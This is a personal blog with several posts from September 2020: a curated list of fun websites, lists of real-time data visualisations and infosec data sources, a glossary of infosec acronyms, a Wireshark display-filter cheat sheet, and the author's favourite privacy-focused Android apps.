Animated Drawings - Upload a sketch or drawing, and have it be animated with AI
Ancient History Encyclopedia - Professionally curated online encyclopedia for research, teaching and travel
Akiyoshi's Illusion's - Static visual illusions that appear to be moving
Amazon Dating - Order a date with free next day delivery and buyer protection (satire)
AtlasObscura - Hidden things to see and do around the world
AutoDraw - Drawing, but AI guesses what you drew and can auto-complete it
BBC Sound Effects - A database of all 16,000+ sound effects as .wav, created & used by the UK's BBC
Bilingual baby name finder - Useful to find names that can be pronounced
Bomb Blast - Search a location, and nuclear weapon, to see the damage area
Better Explained - Clear, easy to understand and engaging math tutorials (by Kalid Azad)
Bops.fm - Click a year, and here a song from that time
Bongo Cat - Hit the bongos like Bongo Cat!
Bored Panda - Slightly click-batey articles from around the web, great for destroying boredom
Britney Spears' Guide to Semiconductor Physics - A humorous play on the teaching of physics (by Carl Hepburn)
Calligrapher.ai - Convert text to real-looking hand writing, with AI
Camerons World - View real Geo Cities sites, from the archive
CapitolTrades - View which stocks US politicians are buying
Channel Crawler - Discover new YouTube channels by keywords and filters (by Geoffrey Reemer)
Cinetrii - Analyses reviews to infer possible inspirations behind a film
City Extremes - Lookup any city, and find the closest and furthest geographic cities
Citizen DJ - Make music using the free-to-use audio and video materials from the Library of Congress
Clash - Type in any sentence and have it sung back to you using a variety of artists
Classic Reload - A series of retro emulators in the browser
Class Central - Huge collection of free courses and certifications from top Universities and companies
Connected Papers - Visually shows connections between academic journals
Conversao - Instantly convert a unit to all others
Corporate Private Jet Tracker - See live locations of the rich and famous's private jets in the US
Cryptovoxels - A virtual world
Cursor Dance Party - Real-time cursor dance party
DateNightMovies - Input a movie each of you like, to find a movie you'll likely both like
Denigma - Paste in a block of code, and Denigma will use AI to explain what it does in plain English
Desk Spacing - Create your own virtual desk setup (or r/BattleStation!)
Desolhar Philosophy - Simplifying hundreds of Philosophy books into easy-to-follow formulas (by Patrick Milani)
Deepl - A surprisingly good, AI-powered online translator- much smarter than Google Translate!
Dimensions.com - Huge reference database containing the exact dimensions of products and objects
Dr Meme - Meme generator (without watermarks, ads or sign up)
Dumpster Fire - Watch your message being burnt in real flames!!
Don't Even Reply - Some hilariously funny email chains
Does the dog die? - Crowdsourced content warnings for movies, tv, books and more
DVD Screensaver - Brings back memories, that classic bouncing DVD screen
Earth Polychromatic Imaging Camera - Hourly photos of the Earth from NASA
Entropy by Aatish Bhatia - Interactive article, explaining entropy with sheep
EmuOS - A very nostalgic web-based emulation of Windows 98 (by Emupedia)
Eyes.Nasa.gov - Interactive 3D solar system, showing info about NASA missions
FSymbols Emoticons - Copy/ Paste text-based emojis
FBI Infamous Cases & Criminals - A collection of the most infamous criminals & cases investigated
Flag Waver - Generates a waving flag for any image (some very clever coding, by @krikienoid)
Find a Spring - A tool to locate a fresh water spring near you, or anywhere in the World, plus info about it
Flipanim - Create flipbook animations
Scale Illustrations - Royalty-free, high-quality vectors (by @KarthikS2206 + Flexiple)
Fake Windows Update - This is a great prank to play on your colleges when they don't lock their laptop!
Fluid Simulation - Impressive, and kinda relaxing, WebGL dynamic simulation of fluid
Font Generator - Convert a string into various plain text ASCII fonts (Great for Social Media + Messaging)
Forekast - Upcoming dates of notable internet events
Forgotify - Listen to a song that's never been heard before on Spotify (produces some questionable tracks)
Forvo - Pronunciation Dictionary
Free Learning List - A collection of awesome educational resources from around the internet
Grep.app - Allows you to search the contents of files within GitHub repos, with a RegEx option too
Get Human - Bypass automated phone menus and long hold times, and get put through to a human
Good Tricks - Tons of magic tricks
Gradient Clock - Beautiful real-time clock of the big screen
Hacker Typer - A classic.. pretend to be a hacker
HelpMap - A website that lets you find local charities to support
Hemingway - Analyses a writing, and suggests edits to make it easier to read
How long to Read - Tells you how long it will take to read a certain book
HostRider - Lo-fi music for coding, with a coding-kitty as a companion
HotSpot 3D - Compare any 2 smart phones, in a size-accurate 3D environment, to easily visualize dimensions
Ian's Shoelace Site - An internet classic, everything you've ever wanted to know about laces
Icebergr Remixed - Draw an iceberg to visualize how it will float
Ikea Museum - Every Ikea catalog since 1950
Image Colorize - Free tool that uses AI to add color to black and white photos
IMDB Compare Shows - Compares ratings over time of TV shows
Import Yeti - Find any companies suppliers, using data from U.S Customs Sea Shipment Records
Illustration Kit - Hundreds of free and open source illustrations, with customizable colors
Isle of Tune - Fun game where you make music from a street plan
Invite Rick - Invite Rick Astlet to Rick Roll your Zoom meetings
I Waste so much Time - Just some funny pictures, to waste your time
Just the Recipe - Removes all the clutter from cooking websites, just paste a URL to a recipe
Judy Records - Instantly search over 400 million US Court Records
Jungle Simulator - Nice relaxing, and customizable jungle sounds
Killed by Google - Google has killed off over 200 of their services - checkout the grave yard
Life in Months - Create a grid of your life
Lines - Draw a line, and let Google Earth complete the picture
ListeningTogether - Shows when two people start listening to the same song, at the same time, via Spotify
LitSolutions - Find step-by-step solutions to the questions in your textbook
Lofi.Cafe - Just non-stop lofi, with several stations/ genres to pick from
Localingual - A map that you can click on, to hear voices from around the world
Little Alchemy 2 - Weirdly addictive simple element-mixing game
McBroken - A map which keeps track of which McFlurry machines are broken across the US (by @rashiq)
MSOutlook-Reddis - Makes Reddit look like Microsoft Outlook (useful for work)
Measure of Things - See real-world comparisons of a measurement
Menneske - Clean site to find, print and solve sudokus of all sizes and difficulties, and other puzzles
Moon Today - Browse the moons craters, mountains and lava channels
MorseCode.me - Morse Code-only chat room
MicroPano - Zoom into Vermeer's masterpiece with this 10 billion pixel scan
Muscle Wiki - Select a muscle, for exercises on how to work it
Music Roamer - Finds music from similar artists you love:
My90sTV - Simulates a 90's TV - so nostalgic! See also My60sTV, My70sTv and My80sTV
Mystery Search - Search for something, and get results of what the previous person searched for
Nobody.live - Shows live Twitch streams, that currently don't have any viewers (by Charles Stross)
Neural Love - Uses AI to restore old photos (or videos) to modern quality
NitroType - Multi-player typing car racing game
N+7 - Replaces every noun in a body of text, with the seventh word following it in the dictionary
Neave.tv - TV without context. Click to channel hop
Open Culture - Free cultural & educational content from across the web
Opslagify - Calculates how much storage you'll need to download your Spotify playlists
Orb.Farm - Relaxing lil game, where you create your own eco-system
OwnersMan - All car manuals
Paper Plotter - Create math functions out of paper
Paint.wtf - Draw something and get scored based on AI
Physics Simulations - Physics simulations
Pink Trombone - An oral cavity and vocal tract simulator, for helping with speech disorders
PlayPhrase.me - Search any phrase, to see all the movies it appears in
Playlist Machinery - Create a (nearly) seamless playlist between (almost) any two artists
Pointer Pointer - Displays a random photo, of someone pointing to exactly where your cursor is
Printer Tools - 3D Printer Utilities, including a 3D QR Code Generator
QR Picture - Turn any picture into a working QR code
Quick Draw AI Game - See if the neural network can recognize what you've drawn
QuillBot - AI tool that rephrases text
Radio Garden - Listen to Live Radio from all over the world
Radiooooo - Pick a country, and a decade, to hear the songs that would have been on the radio
RainbowHunt - Amazing rain simulation, built with WebGL
RelaxCalm - Do nothing for 90 Seconds
Remove BG - Automatically removes the background of any image
Roland 808303 Studio - Computer Controlled Rhythm Composer, built with HTML5
RubikSolve - Rrbik's Cube Solver
SculptGL - Digital Sculpting Web App
ShadyURL - A URL Shortener, that makes legitimate websites sound dodgy
ShareDrop - Share files with other local clients on your network (by Cowbell Labs)
Short Trip - A beautiful interactive, hand-illustrated short animation (by Alexander Perrin)
ShortlyAI - This one is really epic! Enter a title, start writing, and the AI will write you an essay
Shortcuts - Keyboard shortcuts for lots of apps
Sideways Dictionary - Like a dictionary, but uses analogies to simply explain infosec definitions
Signal Stickers - An unofficial directory for Signal (messaging app) sticker packs
Size of Space - Shows the relative size of items in space (Tldr; we're really really small)
Sketch 2 Code - Convert any hand-drawn wireframe, into HTML code
SnapDrop - Share files with other devices on your network, no signup or software required
Snake - Play snake, the classic retro phone game rebuilt by Paul Neave
SoundeScape - 3-Dimensional, generative sound environments for Focus, Relax or Sleep
Space Telescope Live - See what the Hubble space telescope is looking at right now
Space Jam - The original Space Jam site from 1996, still online!
Strobe.Cool - Weirdly hypothesizing illusion (WARNING: Contains fast-flickering/ strobe lighting)
Super Cook - Search recipes based on what's in your fridge
Sunlight Hours per Day - Visualize the number of hours of sunlight parts of the Earth receive per day
Temark - Convert any bit of long writing, into a short summary
Terms of Service; Didn't Read - Professionally written, short summaries of important Terms of Service
The Faces of Facebook - Shows tons of public facebook profile pictures (broken)
The Google Cemetery - Collection of all 162+ products that Google killed
The Skullery - Collection of free, well-presented and easy-to-follow recipes
TimeTraveler - Shows which new words, were first used in print for each year
TitleScraper - Scrapes any given sub-reddit, and looks for commonly used words and upvotes
Torrent.parts - Inspect and edit what's in your Torrent file or Magnet link (by Leo herzog)
Toys from Trash - Hundreds of Science projects using common household items & trash
Travel Time - Travel time calculator, great for finding somewhere to live for a commute
Trumpizer - An AI trained to answer questions like Donald Trump
Tune my Music - Free tool for exporting or transferring music playlists from one service to another
TypeLit - Practice touch typing, by typing out classic novels
U Meet Me - Find meeting places between 2 addresses
Unim.Press - Read Reddit like a newspaper
Unogs - Search for a movie, to find which country Netflix it is on (useful for choosing VPN location)
Virtual Vacation - City Guesser Game - Shows parts of cities, to guess location (great for quizzes)
VisualPing - Monitor website for changes
WeaveSilk.com - Mesmerizing generative art
WebAmp - HTML5 implementation of WinAmp in-browser
What to Watch on TV - Find TV shows, based on IMDB ratings
What Should I read Next - Discover books, based on other books you've enjoyed
Wildlife Africam - Live wildlife cameras in Africa
Winamp Skin Museum - I don't know why...
Window Swap - Look through a random window- shows videos out of peoples windows
Windows Error Worm - Have fun dragging Windows XP-style crashed Windows once again
Worlds Greatest Singers - Vocal ranges of the top singers visualized
Xkcd - The original source of xkcd's classic comic strips, on Romance, Sarcasm, Math, Computing & Language
You Okay? - A little something to take your mind of things (by Billy Stevens)
Zoom Earth - Live satellite photos of Earth

Thanks for visiting 🥰

This list serves as a boredom destroyer, or something to take your mind of things- I look for sites that are either amazing, genius, funny, random or useful. There's currently over 200 websites, but this list is still very much a work in progress, and I continue to add new stuff 🚧

I always love discovering new eipc internet stuff, so if you know of something I should check out, drop me a line at alicia at omg dot lol - Thanks for all the messages and suggestions so far!

Fun with Real-Time Data 🌠

Alicia's Notes 🚀 — Fri, 25 Sep 2020 17:26:12 +0000

A curated collection of data-related awesomeness, with a focus on internet, communication & security
Work in progress- I'm continuing to update the list, whenever I come across something epic

My respect goes out to the legends behind each of these projects 👏

Awesome Real-Time Data Visualizations

Internet
- Tor Flow - Real-time data flow between Tor nodes
- Internet Census - 24-hour world map of average utilization of IPv4 addresses
  - ICMP ping requests sent out with Carna botnet. Learn more on the Official Site / see similar datasets
- Map of Mobile Internet - Shows world data coverage, according to Twitter data
- IKnow - Live data showing what content is being downloaded + distributed via torrents
- Semantic Internet Map - Shows how different websites link together
- Wiggle - Worlds largest WiFi Map showing personal hotspot statistics geographically
- BGP Stream - Shows all current outages (see also live maps from Pingdom, Thousand Eyes)
- DomainTools Statistics - Domain registration Numbers and Charts
- Freedom House - Censorship Map - Global internet freedom and democracy status per country, over time
- Insecam - A directory and feed of insecure or public live webcams
Air & Sea
- StarLink Satellite Map - Real-time positions of StarLink and OneWeb Satellites, showing heights, IDs and more
- Submarine Cable Map - An up-to-date map of major global internet cables (see also he.net and this)
- FlightRadar24 - World-wide map of live aircraft positions (see also opensky-network)
- Marine Traffic - World-wide map of live ships, tankers, cargo & passenger vessels and more
- Stuff in Space - Shows objects orbiting Earth
- Asterank - A scientific and economic database of over 600,000 asteroids
- Flight Misery Map - Real-time US geographical flight delay & cancellation trends
- Meteor Showers - Shows commit locations, simulating meteor showers with time
- Airport WiFi Map - Shows WiFi networks and their passwords for airports around the world
Crypto
- FiatLeak - Real-time crypto asset movement stats
- Coin360 - Customizable heatmap shows the current state of prices and market caps across the Cryptoverse
- BitCoin Rain - Real BTC transactions and values falling from the sky
- BitNodes - Network map of all currently reachable nodes in the BTC network, can also be viewed on a geographical map
- BitListen - The sound of BitCoin, live transactions represented by bubbles and tones
- Symphony - BTC transactions rendered in a 3D outer-space virtual world, with flight simulator mode
- Crypto Watch - Real-time professional crypto market dashboards and trading data
- LiveCoinWatch - Crypto coin listings, and customizable dashboards and widgets
- Mempool - A BTC block explorer with real-time stats inferred from recent blocks, with a TV mode
- TX Watch - Live BCH and BTC transactions
- TxStreet - a live blockchain and mempool visualizer, where data is represented by crowds on the street
- Mempool - Real-time visualization of the Bitcoin transaction fee market
- Polkadot Telemetry - Live Polkadot staking and transaction blocks
- utxo - Static charts generated daily, showing inputs, outputs and spend dates
Social
- One in a Million - A real-time Twitter map
- Sentiment Sweep - Geographic sentiment analysis on real-time Twitter data (- I made this one)
Misc
- ListenToWikipedia - Wikipedia edits, represented by a tone, depending on size, built by Hatnote
- Google Search Terms - Hourly Google Search Trends, in your location
- Three Thousand Years - Shows major events throughout history, using Wikipedia data
- Wiki-Atlas - Wikipedia articles, categorized and plotted on a map
- ncov2019/live - Real-time Covid-19 data, map and dashboard (by Avi Schiffmann)
- National Grid: Live Status - Real-time UK energy stats (by Kate Morley) (similar to Grid Watch)
- Globe of Economic Complexity - Visualize's 15 Trillion dollars of world trade, where each dot is $100,000,000 of export
- GitHub Audio - Real-time GitHub commits and PR merges, represented by audio and bubbles
Cyber
- Comparitech Ransomware Attack Map - Geographically plotted ransomware attacks
- Checkpoint - Geographical plotting of Malware, Phishing and Exploits
- FortiGuard - Incoming & Outgoing Attacks per Country
- Cloud Security Risk Map - Map of the world's safest and riskiest data locations
- Kaspersky Stats - Shows detailed threats per second from a variety of categories
- Kaspersky LogBook - Historic Threat Time Line
- See also
  - Every AV-provider and wannabe security company has a matrix-style cyber map nowadays, here are some less-spectacular ones, which didn't make it onto the list: Fire Eye, BitDefender, ESET, Looking Glass Cyber Map, Digital Attack Map
  - pewpew is a sweet web component, that you can use to build your own threat map (with sound effects!)

Info Sec - Databases, APIs, References

Want to build your own live data visualization? The below data sources may be of help

Exodus - Trackers in Android Apps
Exploit Database - A database or Current software vulnerabilities
URLScan - Service scanning for malicious domains, with historical results
Dehashed - Data Breaches and Credentials
VirusTotal - Detailed virus scans of software
Abuse IP DB - Database of IPs reported for abuse
SnusBase - Long standing database hosting breached data
OpenPhish - A feed of current phishing endpoints
HashToolkit - Database of 'cracked' hashes
SecLists - Starter list of leaked databases, passwords, usernames etc (Great for programming)
Qualys SSL Pulse - A continuous and global dashboard for monitoring the quality of SSL / TLS support over time across 150,000 SSL- and TLS-enabled websites, based on Alexa’s list of the most popular sites in the world
Tor Bulk Exit List - List of all exit nodes (IP) in use on the Tor network
Mempool API - API for Bitcoin addresses, blocks, feed, memory, transactions and a real-time websocket feed

Info Sec - Data Research & Results

A collection of interesting studies that have collected, analysed and presented findings using internet data

Internet Census Data - Includes data on address space allocation, traffic, DNS, service enumeration, internet outages and other internet topology data
Web Tracking Data by Princeton University - This is the largest and most detailed analysis of online tracking to date, and measures both stateful (cookie-based) and stateless (fingerprinting-based) tracking. The crawls were made with OpenWPM
Who has your Back? by EFF - Anual report assessing how companies handle personal data
- Historic Reports: 2012 | 2013 | 2014 | 2015 | 2016 | 2017 | 2018 | 2019
Lists of Websites Abusing Session Replay - Third-party sesssion replay scripts, record all your acions and allow them to be watched by a human. This list of websites include this
- See also, the accompaniing blog post and the WebTAP project
Sensor Access Data - A Crawl of the Mobile Web Measuring Sensor Accesses, Illinois
Canalys Newsroom - Research Studies on Security, Privacy, Technology and Finance
Data Never Sleeps - An infographic visualizing how much data is generated every minute (2019)
What they Know about You - An Infographic showing what information are Giant Tech Companies collecting from you (2020)

Finally- Here's a selection of pretty screenshots...

[REFERENCE] InfoSec Abbreviations 🔡

Alicia's Notes 🚀 — Tue, 22 Sep 2020 16:36:36 +0000

Background: While getting started in information security, I kept coming across acronyms I wasn't familiar with/ had forgotten. So I have started compiling a list, for future reference. I will keep this list updated, as I go along 😚

Common InfoSec Abbreviations

AES: Advanced Encryption Standard
C2: Command & Control (sometimes CC)
CBSP: Cloud-Based Security Providers
CSP: Content Security Policy
CORS: Cross-Origin Resource Sharing
CVSS: Common Vulnerability Scoring System
DAST: Dynamic Application Security Testing
DLP: Data-loss Prevention
DDoS: Distributed Denial of Service
DES: Data Encryption Standard
DOS: Dinial of Service
DSA: Digital Signature Algorithm
EDR: Endpoint Detection & Response
IPSec: Internet Protocol Security
IIoT: (Industrial) Internet of Things
MFA: Multi-Factor Authentication
PAM: Privilege Access Management
PIM: Privilege Identity Management
RAT: Remote Adimistration Tool
SAST: Static Application Security Testing
SPF: Sender Policy Framework
SSE: Server-Side Encryption
STS: Security Token Service
TLS: Transport Layer Security
WAF: Web Application Firewall
WAP: Web Application Protection
XSS: Cross-Site Scripting

Of course, there are other, much more complete glossaries, but they can get overwhelming- these are the basics, and my personal resource. For some much more complete lists, see:

🡆 A lot of acronyms: via InfoSec Matter
🡆 Glossary of Terms: via NICCS (National Initiative for Cybersecurity Careers and Studies in the US)

[REFERENCE] Wireshark Display Filters 💻

Alicia's Notes 🚀 — Sun, 20 Sep 2020 14:20:21 +0000

Wirechark has some comprehensive packet filtering capabilities, and display filters let you utilize these multi-pass packet processing capabilities. This goes far beyond just filtering based on IP, port and protocol.

Essential Links:

Getting Started Guide: https://www.maketecheasier.com/use-display-filters-in-wireshark/
Basic Filter Syntax: https://www.wireshark.org/docs/wsug_html_chunked/ChWorkBuildDisplayFilterSection.html
Full Display Filter Docs: https://www.wireshark.org/docs/dfref/
Full Protocol References: https://wiki.wireshark.org/ProtocolReference

You can debug filters using the dftest command

Cheat Sheet

I created this list from the Wiki, to be a Ctrl + F personal reference to common display filters

Operators

eq or ==
ne or !=
gt or >
lt or <
ge or >=
le or <=

Logic

and or && - Logical AND
or or || - Logical OR
xor or ^^ - Logical XOR
not or ! - Logical NOT
[n] […] - Sub-String Operator

Ethernet

eth.addr
eth.dst
eth.ig
eth.len
eth.lg
eth.multicast
eth.src
eth.trailer
eth.type

IEEE 802.1Q

vlan.cfi
vlan.etype
vlan.id
vlan.len
vlan.priority
`vlan.trailer

IPv4

ip.addr
ip.checksum_bad
ip.checksum_good
ip.checksum
ip.dsfield.ce
ip.dsfield.dscp
ip.dsfield.ect
ip.dsfield
ip.dst_host
ip.dst
ip.flags.df
ip.flags.mf
ip.flags.rb
ip.flags
ip.frag_offset
ip.fragment.error
ip.fragment.multipletails
ip.fragment.overlap.conflict
ip.fragment.overlap
ip.fragment.toolongfragment
ip.fragment
ip.fragments
ip.hdr_len
ip.host
ip.id
ip.len
ip.proto
ip.reassembled_in
ip.src_host
ip.src
ip.tos.cost
ip.tos.delay
ip.tos.precedence
ip.tos.reliability
ip.tos.throughput
ip.tos
ip.ttl
ip.version

IPv6

ipv6.addr
ipv6.class
ipv6.dst_host
ipv6.dst_opt
ipv6.dst
ipv6.flow
ipv6.fragment.error
ipv6.fragment.id
ipv6.fragment.more
ipv6.fragment.multipletails
ipv6.fragment.offset
ipv6.fragment.overlap.conflict
ipv6.fragment.overlap
ipv6.fragment.toolongfragment
ipv6.fragment
ipv6.fragments
ipv6.hlim
ipv6.hop_opt
ipv6.host
ipv6.mipv6_home_address
ipv6.mipv6_length
ipv6.mipv6_type
ipv6.nxt
ipv6.opt.pad1
ipv6.opt.padn
ipv6.plen
ipv6.reassembled_in
ipv6.routing_hdr.addr
ipv6.routing_hdr.left
ipv6.routing_hdr.type
ipv6.routing_hdr
ipv6.src_host
ipv6.src
ipv6.version

ARP

arp.dst.hw_mac
arp.dst.proto_ipv4
arp.hw.size
arp.hw.type
arp.opcode
arp.proto.size
arp.proto.type
arp.src.hw_mac
arp.src.proto_ipv4

TCP

tcp.ack
tcp.checksum_bad
tcp.checksum_good
tcp.checksum
tcp.continuation_to
tcp.dstport
tcp.flags.ack
tcp.flags.cwr
tcp.flags.ecn
tcp.flags.fin
tcp.flags.push
tcp.flags.reset
tcp.flags.syn
tcp.flags.urg
tcp.flags
tcp.hdr_len
tcp.len
tcp.nxtseq
tcp.options.cc
tcp.options.ccecho
tcp.options.ccnew
tcp.options.echo_reply
tcp.options.echo
tcp.options.md5
tcp.options.mss_val
tcp.options.mss
tcp.options.qs
tcp.options.sack_le
tcp.options.sack_perm
tcp.options.sack_re
tcp.options.sack
tcp.options.time_stamp
tcp.options.wscale_val
tcp.options.wscale
tcp.options
tcp.pdu.last_frame
tcp.pdu.size
tcp.pdu.time
tcp.port
tcp.reassembled_in
tcp.segment.error
tcp.segment.multipletails
tcp.segment.overlap.conflict
tcp.segment.overlap
tcp.segment.toolongfragment
tcp.segment
tcp.segments
tcp.seq
tcp.srcport
tcp.time_delta
tcp.time_relative
tcp.urgent_pointer
tcp.window_size

UDP

udp.checksum_bad
udp.checksum_good
udp.checksum
udp.dstport
udp.length
udp.port
udp.srcport

Frame Relay

fr.becn
fr.chdlctype
fr.control.f
fr.control.ftype
fr.control.n_r
fr.control.n_s
fr.control.p
fr.control.s_ftype
fr.control.u_modifier_cmd
fr.control.u_modifier_resp
fr.control
fr.cr
fr.dc
fr.de
fr.dlci
fr.dlcore_control
fr.ea
fr.fecn
fr.lower_dlci
fr.nlpid
fr.second_dlci
fr.snap.oui
fr.snap.pid
fr.snaptype
fr.third_dlci
fr.upper_dlci

ICMPv6

icmpv6.all_comp
icmpv6.checksum_bad
icmpv6.checksum
icmpv6.code
icmpv6.comp
icmpv6.haad.ha_addrs
icmpv6.identifier
icmpv6.option.cga
icmpv6.option.length
icmpv6.option.name_type.fqdn
icmpv6.option.name_type
icmpv6.option.name_x501
icmpv6.option.rsa.key_hash
icmpv6.option.type
icmpv6.option
icmpv6.ra.cur_hop_limit
icmpv6.ra.reachable_time
icmpv6.ra.retrans_timer
icmpv6.ra.router_lifetime
icmpv6.recursive_dns_serv
icmpv6.type

PPP

ppp.address
ppp.control
ppp.direction
ppp.protocol

RIP

rip.auth.passwd
rip.auth.type
rip.command
rip.family
rip.ip
rip.metric
rip.netmask
rip.next_hop
rip.route_tag
rip.routing_domain
rip.version

MPLS

mpls.bottom
mpls.cw.control
mpls.cw.res
mpls.exp
mpls.label
mpls.oam.bip16
mpls.oam.defect_location
mpls.oam.defect_type
mpls.oam.frequency
mpls.oam.function_type
mpls.oam.ttsi
mpls.ttl

BGP

bgp.aggregator_as
bgp.aggregator_origin
bgp.as_path
bgp.cluster_identifier
bgp.cluster_list
bgp.community_as
bgp.community_value
bgp.local_pref
bgp.mp_nlri_tnl_id
bgp.mp_reach_nlri_ipv4_prefix
bgp.mp_unreach_nlri_ipv4_prefix
bgp.multi_exit_disc
bgp.next_hop
bgp.nlri_prefix
bgp.origin
bgp.originator_id
bgp.type
bgp.withdrawn_prefix

ICMP

icmp.checksum_bad
icmp.checksum
icmp.code
icmp.ident
icmp.mtu
icmp.redir_gw
icmp.seq
icmp.type

DTP

dtp.neighbor
dtp.tlv_len
dtp.tlv_type
dtp.version
vtp.neighbor

VTP

vtp.code
vtp.conf_rev_num
vtp.followers
vtp.md5_digest
vtp.md_len
vtp.md
vtp.seq_num
vtp.start_value
vtp.upd_id
vtp.upd_ts
vtp.version
vtp.vlan_info.802_10_index
vtp.vlan_info.isl_vlan_id
vtp.vlan_info.len
vtp.vlan_info.mtu_size
vtp.vlan_info.status.vlan_susp
vtp.vlan_info.tlv_len
vtp.vlan_info.tlv_type
vtp.vlan_info.vlan_name_len
vtp.vlan_info.vlan_name
vtp.vlan_info.vlan_type

HTTP

http.accept_encoding
http.accept_language
http.accept
http.authbasic
http.authorization
http.cache_control
http.connection
http.content_encoding
http.content_length
http.content_type
http.cookie
http.date
http.host
http.last_modified
http.location
http.notification
http.proxy_authenticate
http.proxy_authorization
http.proxy_connect_host
http.proxy_connect_port
http.referer
http.request.method
http.request.uri
http.request.version
http.request
http.response.code
http.response
http.server
http.set_cookie
http.transfer_encoding
http.user_agent
http.www_authenticate
http.x_forwarded_for

Example Usage

(Adapted from Chris Greer's Blog Post)

ip.addr == 10.0.0.1 - Sets a filter for any packet with 10.0.0.1, as either the source or dest
ip.addr==10.0.0.1 && ip.addr==10.0.0.2 - sets a conversation filter between the two defined IP addresses
tcp.time_delta > .250 - sets a filter to display all tcp packets that have a delta time of greater than 250mSec in the context of their stream
tcp.port==4000 - Sets a filter for any TCP packet with 4000 as a source or dest port
tcp.flags == 0x012 - Displays all TCP SYN/ACK packets - shows the connections that had a positive response. Related to this is tcp.flags.syn==1
ip.addr == 10.0.0.0/24 - Shows packets to and from any address in the 10.0.0.0/24 space
frame contains traffic - Displays all packets that contain the word ‘traffic’. Excellent when searching on a specific string or user ID
!(arp or icmp or stp) - Masks out arp, icmp, stp, or whatever other protocols may be background noise. Allowing you to focus on the traffic of interest
eth[0x47:2] == 01:80 - This is an example of an offset filter. It sets a filter for the HEX values of 0x01 and 0x80 specifically at the offset location of 0x47
tcp.analysis.flags && !tcp.analysis.window_update - Displays all retransmissions, duplicate acks, zero windows, and more in the trace. Helps when tracking down slow application performance and packet loss. It will not include the window updates, since these aren't really important for me to see in most cases

My Top 50 Android Apps 📱

Alicia's Notes 🚀 — Tue, 15 Sep 2020 19:32:33 +0000

These are all the Android applications that I use often, each app on this list serves a purpose and adds value to my day. The developers behind every one of these apps have done an amazing job, and for that, I am thankful. This in part is my motivation for writing this list

This is, in no way a list of ultra-secure, privacy-respecting or fully FOSS apps. In fact, the very idea of having 50 apps on your device goes against the minimalist security principle, and increases attack surface. However, I do carefully manage permissions and connectivity features, blocking internet access for all apps that shouldn't need it

Click the App Name to visit website, the GitHub icon to view source code, and the F-Droid/ Google Play icon to download APK 😊
Note: Any non-opensource apps are indicated with a red cross ❌

Essentials:

Aegis - 2-Factor Authentication Token Manager
KeePassDX - Password Manager for KeePass files
Standard Notes - Secure, Encrypted Cross-Platform Notes
K-9 Mail - IMAP Mail Client with Multi-Account Support
ProtonMail - Official Client for ProtonMail (PGP Encrypted Email)
SimpleLogin - PGP Encrypted Mail Forwarder for Multiple Aliases
EteSync - Secure, Encrypted Sync Engine for Calendar, Contacts and Tasks
xBrowserSync - Secure Bookmark Storage and Browser Syncing
OpenKeychain - OpenPGP for encrypting files and communications
EDS Lite - Managing files in encrypted containers

Networking:

NetGuard - Firewall supporting per-app internet blocking and advanced rules
Orbot - Routes traffic via Tor network
Mullvad - My VPN of choice
WireGuard - VPN for connecting to private networks
Network Manager Pro - Complete suit of Network tools ❌

Communication

Signal - E2E Encrypted Messaging, (not anonymous, as it's linked to mobile number)
Briar - Extremity secure and robust communication which can also work locally (via WiFi or Bluetooth)
Element - Matrix Client (Matrix is a privacy-respecting P2P encrypted multi-user chat platform)

Productivity Basics

FireFox Focus - Fast & Private browser, with no persistent history and automatic tracker blocking
GitHub - Official GitHub client, for managing issues, pull-requests and browsing repositories
Hour Blocks - Simple hour-by-hour day planner, with calendar support ❌
Open Camera - Full-featured, privacy-respecting camera app with good feature support
OsmAnd~ Maps - Maps with offline support, public transport directions and turn-by-turn navigation
Simple Calendar - Highly customizable, privacy-respecting, offline, easy calendar app
Simple Calculator - Just a Calculator app
Simple Contacts - Privacy-respecting contacts manager
Simple Dialer - Privacy-respecting cellular phone application
Tasks - Secure Todo List App with CalDav Sync Capabilities
Geometric Weather - Simple weather app, with clean UI, 15-day forecast and detailed outlook
Tile - Companion app for Tile Bluetooth Finders (useful for finding keys, wallet, phone, TV remote etc) ❌
VNC Viewer - Virtual remote desktop app, to access and control PC, Server or other device ❌
Bible - An offline Bible app, with audio and daily plans ❌
Loyalty Card Keychain - Securely stores and displays store loyalty cards, with good protocol support

Utilities

AdAway - Ad and tracker blocker that uses hosts file (requires root)
SuperFreezZ - Entirely freeze all background activities on a per-app basis
XPrivacyLua - Mocks app permissions fake data (solving the issues caused by revoking permissions)
App Manager - Package manager & viewer, with useful privacy & security features
OAndBackupX - Backup apps and data, without the need for Google
SecScanQR - Fully-featured, privacy-respecting QR code & barcode scanner & generator
Island - Isolate and compartmentalize apps for privacy
Powerful Monitor - Fully-featured system monitor and RAM cleaner, no trackers ❌
Exodus - Shows which trackers each app has within it's APK

Home Control

FlutterHole - Easy control over local Pi Hole instance
Home Assistant - Control all smart home and IoT devices, via self-hosted HASS.io server
Fing - Home Network Security ❌
Ping Tools - Basic uptime monitor for your servers ❌

Media

Plex - Stream media from home Plex Server
PocketCasts - Podcast Player with Advanced Listening Tools and OPML Support ❌
Spotify - Music Streaming and Downloads (Premium) ❌
Transistor - Internet Radio
NewPipe - YouTube Player

Misc:

Developer Assistance - Powerful debugging app for Android development
Dev Tools - Essential toolkit for Android development, including decompiling
CloudMare - CloudFlare Application Management

Device Customization

Total Launcher - Highly Customizable Android Launcher ❌
KWGT - Advanced Widget Creator ❌
Automate - Device Macros and Automation, with Home Assistant Compatibility ❌

Notes

Exodus Privacy

εxodus is an awesome service, I don't know how I managed before it came about. It's a privacy audit platform that scans Android APKs for links to known trackers, and generated up-to-date reports for most apps available through Google Play. You can either search an app though their website, or use the Exodus App that scans all installed apps, showing which trackers and permissions they include

NetGuard

I heavily rely on NetGuard, which I use to completely block internet access for all apps that don't absolutely require a network connection. For the remaining applications I control how and when they can connect, usually blocking any network access when the screen is off. An alternative to NetGuard, is TrackerControl, that allows the blocking of individual trackers on a per-app basis, however I use Pi Hole for blocking adds & trackers instead.

Faraday

Typically, when I'm not activity using my phone, I keep it in my Silent Pocket Faraday case, which has the added benefit of preserving battery life.

VPN

When I do connect, I VPN into my home network (I wish I could use WireGuard for this, but currently NetGuard only supports OpenVPN protocol). This provides some additional protection thanks to my firewall, and Pi-Hole is used to block ads and some trackers, it also allows secure access to my locally self-hosted services. All traffic on my home network is routed though Mullvad VPN. Even though this adds several extra hops to my phone's traffic, it doesn't seem to affect speed too much, and the above benefits make it worthwhile.

Orbot

Sometimes I use Orbot as backup service, but I do find this to be slower, and with a lot of extra CAPTCHAs. Another similar app, but with greater controls is orWall, by @EthACKdotOrg, which is useful for forcing selected apps to use Tor.

Automate
